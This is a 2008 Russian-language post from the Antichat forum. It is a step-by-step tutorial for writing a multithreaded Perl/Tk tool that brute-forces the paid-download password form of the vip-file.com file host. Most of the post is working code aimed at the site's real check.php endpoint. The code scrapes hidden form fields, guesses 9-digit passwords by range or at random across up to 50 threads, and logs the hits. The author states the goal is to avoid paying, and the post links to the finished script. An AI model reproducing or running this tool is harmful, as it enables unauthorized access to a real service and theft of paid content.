ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Написание многопоточного брута веб-форм на перле, на примере vip-file, с GUI
  #1  
Старый 11.07.2008, 06:39
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


Post Написание многопоточного брута веб-форм на перле, на примере vip-file, с GUI

## Написание многопоточного брута веб-форм на перле, на примере vip-file, с GUI ##


Сразу хочу сказать, что это моя первая статья на ачате и мой первый скрипт на перле, так что сильно не пинайте) Статья расчитана на тех, кто не знаком / мало знаком с перлом ..
Итак, начинаем. Все любят качать с большой скоростью и платить за это бабло какому-то вип-файлу желания мало .. исправим

!1 - Подготовка
Для начала понадобится перл,
-- Для винды - качаем ActivePerl
-- Для тукса:
sudo apt-get install perl
sudo apt-get install perl-tk
либо
rpm -ivh perl-Tk-номер_версии-сборка.архитектура.rpm

!1.1 FAQ
Q: Где мона взять большое faq по перлу?)
A: [rus] http://faqs.org.ru/progr/web_lang/perl_faq.htm

Q: А учебник?)
A: http://www.spravkaweb.ru/perl/

Q: Откуда слить документацию по LWP?
A: [rus, pdf] http://pascal.sources.ru/incoming/lwp-spec.zip

Q: Откуда слить документацию на русском по Tk?
A: Действительно, откуда?)) Я юзал Pod Brouser (слить мона с репозитория убунты, Pod Brouser на английском), сплоиты от RST/GHC, респект им, и вот эту небольшую статью:
http://gazette.linux.ru.net/rus/articles/perl_tk.html

!2 - Начинаем
Код:
#!/usr/local/bin/perl
print "##################################\n";
print "#         Vip-File brute         #\n";
print "# (c) BlackSun [S.T.A.R.S. Team] #\n";
print "##################################\n";
Разъясню по строчкам:
#!/usr/local/bin/perl - данная строка должна быть первой в любой Perl-программе. Она указывает системному интерпретатору что данный файл - это Perl-программа.
print "# Vip-File brute #\n"; - вывод на экран, в данном случае мини-about

Едем дальше, подключаем нужные модули
Код:
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
use threads;
use threads::shared;
Tk - консоль конешно хорошо, но GUI привычнее)
use - подключает нужный модуль и нам становятся доступны все его подпрограммы. Файл модуля с расширением ".pm" должен храниться в одной из библиотечных директорий Perl. Они перечислены в массиве @INC, одна из них обычно "/usr/local/lib/perl/".

Теперь создаем окно,
Код:
$window = new MainWindow(title => "VFB - Vip File brute");
$window->geometry('420x175');
$window->resizable(0, 0);
$window = new MainWindow(title => "VFB - Vip File brute"); - собственно функция создания окна с заголовком VFB - Vip File brute.
$window->geometry('420x175'); - задаем размеры окна.

Добавим немного переменных, доступных из любого потока
Код:
my $url : shared;
$url = 'http://vip-file.com/download/ae25b2336179/asdwqerfawdq3d.htm.html';
my $range : shared;
$range = '959000000-999999999';
my $btype : shared;
$btype = 'By range';
my $threads_count : shared;
$threads_count = '50';
my $good : shared;
$good = 0;
my $checked : shared;
$checked = 0;
my $cp : shared;
$cp = 0;
$url - ссыль на залитый файл на вип файле.
$range - диапозон для брута.
$btype - тип брута.
$threads_count - кол-во потоков.
$good - кол-во сбрученных паролей.
$checked - кол-во проверенных паролей.
$cp - текуший пароль.

Окно создали, заполняем его контроллами ..
Код:
# Frames
$left = $window->Frame(-borderwidth => 5)->pack(-side => 'left', -anchor => 'ne');
$right = $window->Frame(-borderwidth => 5)->pack(-side => 'right', -anchor => 'nw');

# url to file
$left->Label(-text => 'URL to file: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$url)->pack();

# type of brute
$left->Label(-text => 'Brute type: ')->pack();
$type = $right->BrowseEntry(-relief => "groove", -variable => \$btype);
$type->insert('end', 'By range');
$type->insert('end', 'Random');
$type->pack(-side => 'top' , -anchor => 'w');

# range option
$left->Label(-text => 'Range: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$range)->pack();

# threads count
$left->Label(-text => 'Threads count: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$threads_count)->pack();

$left->Label(-text => 'Good: ')->pack();
$lgood = $left->Entry(-relief => 'groove', -textvariable => \$good)->pack();
$left->Label(-text => 'Checked: ')->pack();
$lchecked = $left->Entry(-relief => 'groove', -textvariable => \$checked)->pack();

$right->Button(-text => 'Start', 
					-relief => "groove",
					-activeforeground => 'red',
					-width => '45',
					-command => \&start_brute)->pack();
$right->Button(-text => 'About', 
					-relief => "groove",
					-activeforeground => 'red',
					-width => '45',
					-command => \&about)->pack();
$right->Button(-text => 'Quit', 
					-relief => "groove",
					-activeforeground => 'red',
					-width => '45',
					-command => \&exit)->pack();
$window->Frame() - Создаем рамку для группирования контроллов, атрибут -borderwidth отвечает за ширину бордюра.
Метод pack предназначен для задания свойств расположения элемента на форме.
-side => 'left' означает, что рамка будет "прилипать" к левой границе формы.
$left->Label - На левом фрейме создаем текстовую метку aka label, -text думаю и ежу понятно, что отвечает за текст в метке.
$right->Entry - На правом фрейме создаем текстовое поле, -relief отвечает за вид этого поля, -width за ширину, -textvariable за текст в нем.
$type = $right->BrowseEntry - Создаем выпадаюший список.
$type->insert('end', 'By range'); - добавляем в конец этого списка его элементы, первый аттрибут ('end') отвечает за расположение вставляемого элемента, в данном случае - в конец, второй - собственно текст.
Про метод pack я уже писал выше ..
$right->Button - Добавляем на правый фрейм кнопку, -text - текст на кнопке, -activeforeground - цвет текста, когда над кнопкой находится мышь, -command - имя подпрограммы - обработчика, когда на кнопку нажимают.

И запускаем наш интерфейс
Код:
MainLoop();
С оболочкой закончили, приступаем к коду брута .. немного теории:
# Подпрограммы
- Для применения подпрограммы ее необходимо определить либо в текущем модуле (файле), либо во внешнем модуле (файле). Подпрограммы определяются и декларируются следующим образом:
sub имя; - Только декларация. Определение ниже.
sub имя (прототипы); - То же но с декларацией параметров.
sub имя блок; - Декларация и определение.
sub имя (прототипы) блок; - То же, но с параметрами.

# Private переменные.
- Для применения переменных доступных только внутри блока или подпрограммы необходимо определить их с помощью функции my(список). Если переменная одна, то скобки можно опустить.
my() декларирует private переменные в пределах текущей подпрограммы, блока, функции eval() или do/require/use файлов. Private переменные аналогичны auto переменным в С.

Приступаем к написанию ..
Функция about, ну а как без нее)
Код:
sub about()
{
	my $about = "Vip-File brute\r\n(c) BlackSun [S.T.A.R.S. Team]\r\nDemo :)";
	$window->messageBox(-title => '.[ About ].',
								-message => $about,
								-type => 'OK',
								-font => '12');
}
my $about - Определяем приватную переменную с тексом мессаги.
$window->messageBox - Выводим сообшение.
-title - заголовок окна, -message - само сообшение, -type - тип сообшения, в данном случае окно с кнопкой Ok, -font - шрифт, у мну указан только размер.
Итак, 2 кнопки уже работают, About и Quit, теперь напишем доп-ные функции.
Вначале нам надо получить hidden поля с вип файла - uid и fid,

/* небольшое отступление, дальше будут простые GET запросы, если вам понадобятся POST запросы, прокси или базовая авторизация - качайте http://pascal.sources.ru/incoming/lwp-spec.zip */

Функция получения содержимого страницы:
Код:
sub get_content()
{
	$ua = LWP::UserAgent->new();
	$request = HTTP::Request->new(GET => $_[0]);
	$request->header(Accept => 'text/html');
	$result = $ua->request($request);
	if ($result->is_success)
	{
		return $result->content;
	} else 
	{
		return 0;
	}
}
$ua = LWP::UserAgent->new - Создаем новый объект LWP::UserAgent.
$request = HTTP::Request->new(GET => $_[0]); создаем новый запрос, в данном случае - GET.
$request->header(Accept => 'text/html'); - в заголовке передаем, что принимаем text/html.
$result = $ua->request($request); - отправляем запрос.
if ($result->is_success) - если удачно, возращяем, что получили, иначе 0.
Вызвать функцию можно будет вот так: $text = &get_content($url);

Функция вывода ошибки:
Код:
sub error()
{
	$window->messageBox(-title => 'Error',
		-message => $_[0],
		-type => 'OK', -font => '12');
	print "Error: ".$_[0]."\n";
	exit();	
}
Все просто, показываем сообшение и выходим.

Функция добавления в лог сбрученных паролей:
Код:
sub add2log()
{
	print "Good: ".$_[0]."\n";
	if(open(LogFile, ">>good.txt"))
	{
		if (!print LogFile $_[0], "\n")
		{
			&error("Cant write to doog.txt\r\n$_[0]");
		}
		close(LogFile);
	} else
	{
		&error("Cant open good.txt\r\n$_[0]");
	}
}
if(open(LogFile, ">>good.txt")) - Открываем файл good.txt для записи сбрученных паролей, если открыть не вышло (ужос), то выводим мессагу и выходим, LogFile - дескриптор файла.
if (!print LogFile $_[0], "\n") - Записываем в файл сбрученный пароль, если не вышло - выходим сами))
close(LogFile); - Закрываем дескриптор файла.

Функция выдирания uid, name и fid из рипнутого кода, который лежит в $text.
Код:
sub content2hv()
{
	$start = index($text, 'name="uid" value="');
	if ($start == -1)
	{
		&error('Cant find uid.');
	}
	$start = $start + 18;
	$end = index($text, '"', $start);
	$uid = substr($text, $start, $end-$start);
	
	$start = index($text, 'name="name" value="');
	if ($start == -1)
	{
		&error('Cant find name.');
	}	
	$start = $start + 19;
	$end = index($text, '"', $start);
	$name = substr($text, $start, $end-$start);
		
	$start = index($text, 'name="fid" value="');
	if ($start == -1)
	{
		&error('Cant find fid.');
	}
	$start = $start + 18;
	$end = index($text, '"', $start);
	$fid = substr($text, $start, $end-$start);
}
Функция index (синтаксис: index СТРОКА, ПОДСТРОКА[, ПОЗИЦИЯ]) возвращает позицию первого вхождения указанной подстроки в заданную строку или -1, если подстрока не найдена. Если задан параметр ПОЗИЦИЯ, то поиск подстроки осуществляется, начиная с заданной позиции в строке (0 - начало строки).
Функция substr (синтаксис: substr СТРОКА, СМЕЩЕНИЕ [, ДЛИНА[, ЗАМЕЩЕНИЕ]]) извлекает из строки, заданной параметром СТРОКА, подстроку длиной равной значению параметра ДЛИНА, начиная с символа, заданного параметром СМЕЩЕНИЕ. Если СМЕЩЕНИЕ отрицательно, то извлечение начинается с последнего символа строки. Если значение параметра ДЛИНА отрицательно, то от конца строки отсекается количество символов, равное абсолютному значению этого параметра. Если задана строка ЗАМЕЩЕНИЕ, то выделенная подстрока замещается ею в параметре СТРОКА, которы в этом случае должен быть lvalue.

Теперь напишем функцию проверки пароля - для этого надо отправить GET запрос на випфайл:
Код:
http://vip-file.com/sms/check.php?pass=<pass_here>&uid=<uid_here>&name=<name_here>&fid=<fid_here>&submit=%D1%EA%E0%F7%E0%F2%FC
Сама процедура:
Код:
sub check_pass()
{
	$get = "http://vip-file.com/sms/check.php?pass=$_[0]&uid=$uid&name=$name&fid=$fid&submit=%D1%EA%E0%F7%E0%F2%FC";
	$content = &get_content($get);
	if ($content eq '')
	{
		return 0;
	} else
	{
		return index($content, 'This password does not exist');
	}
}
В $get наш запрос, в $content его результат, функция возращяет значение функции index, которая ишет строку в тексте и если не находит, возращяет -1. -1 в данном случае - пароль подошел)

Функция брута:
Код:
sub brute()
{
	while ($cp < $range_end)
	{
		if ($btype eq 'By range')
		{
			$cp++;
			if (&check_pass($cp) == -1)
			{
				&add2log($cp);
				$good++;
			}
		}
		else
		{
			$pass = int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));
			if (&check_pass($pass) == -1)
			{
				&add2log($pass);
				$good++;
			}		
		}
		$checked++;
	}
}
while ($cp < $range_end) - Цыкл, который будет работать, пока указанный диапазон не закончится, есстесно, если выбран тип брута "Random", то функция будет работать без остановки)
if ($btype eq 'By range') - $btype - комбо-бокс для выбора типа брута.
$cp++; - Увеличиваем на 1 текуший пароль.
if (&check_pass($cp) == -1) - Чекаем пароль, если -1 - значит он подошел.
&add2log($cp); - Описывал выше, добавляет пароль в лог.
$good++; - Увеличиваем счетчик сбрученных паролей.
int - Округляет число до целого,
rand - генерит случайное число.

Функция вывода инфы на экран:
Код:
sub info_thread()
{
	while(1)
	{
		print "Total checked: ".$checked."  |  Valid: ".$good."\n";
		$a = $lgood->configure(-text => $good);
		$a = $lchecked->configure(-text => $checked);
		sleep(5);
	}
}
while(1) - бесконечный цикл.
$a = $lgood->configure(-text => $good); - Обновляем текст в текстовом поле.
sleep(5); - Пауза на 5 секунд.

Обработчик нажантия кнопки Start ))
Код:
sub start_brute()
{
	$cp = substr($range, 0, 9);
	$range_end = substr($range, 10, 9);
	srand();
	if ($btype eq 'By range')
	{
		print "Starting brute by range ..\n";
	} else
	{
		print "Starting brute by random ..\n";
	}
	&add2log('- Brute started -');
	$text = &get_content($url);
	&content2hv();
	threads->new(\&info_thread);
	for (0..$threads_count)
	{
		if ($cp < $range_end)
		{
			threads->new(\&brute);
		}
	}
	print "All threads created\n";
}
$cp = substr($range, 0, 9); - Получаем начальный пароль, substr - копирует строку $range начиная с 0, длинной в 9.
$range_end = substr($range, 10, 9); - Получаем конечный пароль.
srand(); - Для функции rand.
$text = &get_content($url); - Получаем содержымое страницы с випфайла, дабы выдернуть 3 переменных (uid, fid, name).
&content2hv(); - Выдираем .. )
threads->new(\&info_thread); - Создаем поток для вывода инфы на экран.
for (0..$threads_count) - И в цыкле создаем все потоки - threads->new(\&brute);

!2 The end();

[- Готовый скрипт --- http://secretsdrive.net/get/01/b187d62737/vfb.pl.tar.gz ---]

Теги: Perl, Tk, LWP, Brute, брут, Vip-file, статья, качать бесплатно
---------------------
(c) BlackSun [S.T.A.R.S. Team]
Special for AntiChat.

Последний раз редактировалось BlackSun; 11.07.2008 в 07:14..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Awk & Sed Scripting +toxa+ Чужие Статьи 2 25.12.2007 08:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ